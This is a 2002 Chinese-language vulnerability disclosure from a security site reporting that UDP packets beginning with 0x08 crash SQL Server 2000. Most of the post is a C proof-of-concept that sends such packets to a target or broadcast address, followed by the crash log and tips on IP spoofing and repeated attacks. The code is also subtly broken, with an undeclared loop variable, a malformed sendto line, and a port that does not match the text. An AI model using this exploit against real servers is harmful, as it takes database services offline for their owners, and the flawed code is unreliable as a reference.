关于我们 | 加入我们 | 网站结构 | 交换连接 | 联系我们
| 最新文档 | 技术文摘 | 安全漏洞 | 菜鸟乐园 | 黑客进阶 | 技术文库 | 软件下载 | 技术论坛 |
 您现在的位置 >> 返回首页 文档发表时间:2002-09-04

SQL SERVER存在拒绝服务问题 (阅览 次)

发现者:闪空
email:flashsky1@sina.com
主页:www.shopsky.com
发布:www.20cn.net

今天偶然发现,用UDP给SQL SERVER的1433发送SQL SERVER信息发送的特定的0x8开头的信包会导致SQL SERVER当机:演示代码如下
参数:跟SQL SERVER服务器的IP或广播地址的IP
int main(int argc, char* argv[])
{
WSADATA WSAData;
SOCKET sock;
SOCKADDR_IN addr_in;
char buf[1024]={'\x08','\x00'};
HANDLE listener;
const int SNDBUF = 0;
const int TCPNODELAY = TRUE;
const int BROADCAST = TRUE;

if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
{
return FALSE;
}

if ((sock=socket(AF_INET,SOCK_DGRAM,IPPROTO_UDP))==INVALID_SOCKET)
{
return FALSE;
}

addr_in.sin_family=AF_INET;
addr_in.sin_port=htons(1434);
addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);

if (setsockopt(sock, SOL_SOCKET, SO_SNDBUF, (const char*)&SNDBUF, sizeof(SNDBUF))==SOCKET_ERROR)
{
return FALSE;
}
if (setsockopt(sock, SOL_SOCKET, TCP_NODELAY, (const char*)&TCPNODELAY, sizeof(TCPNODELAY))==SOCKET_ERROR)
{
return FALSE;
}
if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (const char*)&BROADCAST, sizeof(BROADCAST))==SOCKET_ERROR)
{
return FALSE;
}

for(j=0;j<256;j++)
{
buf[1]=j;
sendto(sock, buf, sizeof(buf), 0,(SOCKADDR*) &addr_in, sizeof(addr_in))==SOCKET_ERROR)
Sleep(100);
}
WSACleanup();
return 0;
}

BUF中放置08开头的,后面一个字节从0到255,都可以引起SQL SERVER服务器的当掉。返回的SQL SERVER日志信息是:
2002-09-04 12:50:17.21 server SqlDumpExceptionHandler: 进程 2020 发生了严重的异常 c0000005 EXCEPTION_ACCESS_VIOLATION。SQL Server 将终止该进程。
2002-09-04 12:50:17.64 server SQL Server 将终止。发生了严重的异常 c0000005。
如果没有启动sql agant服务,这SQL SERVER服务器需要人工手动启动,如果启动了了SQL AGANT,SQL SERVER服务器会在3秒以后自动恢复。
但是可以不断的发起这样的包达到拒绝服务的目的,同时由于该协议是UDP协议,可以轻易的使用IP欺骗发起攻击,在还可以使用广播一次使得多个SQL SERVER受到攻击。

测试环境:
SQL SERVER 2000+SP2
WINDOWS 2000 SERVER+SP3,ADV SERVER+SP3,professional+SP2

返回

建议您使用IE浏览器800×600以上分辩率浏览以获最佳效果

20CN网络安全小组版权所有
Copyright © 2000-2006 20CN Network Security Group. All Rights Reserved.
如有任何问题及建议请写信至 webmaster@20cn.net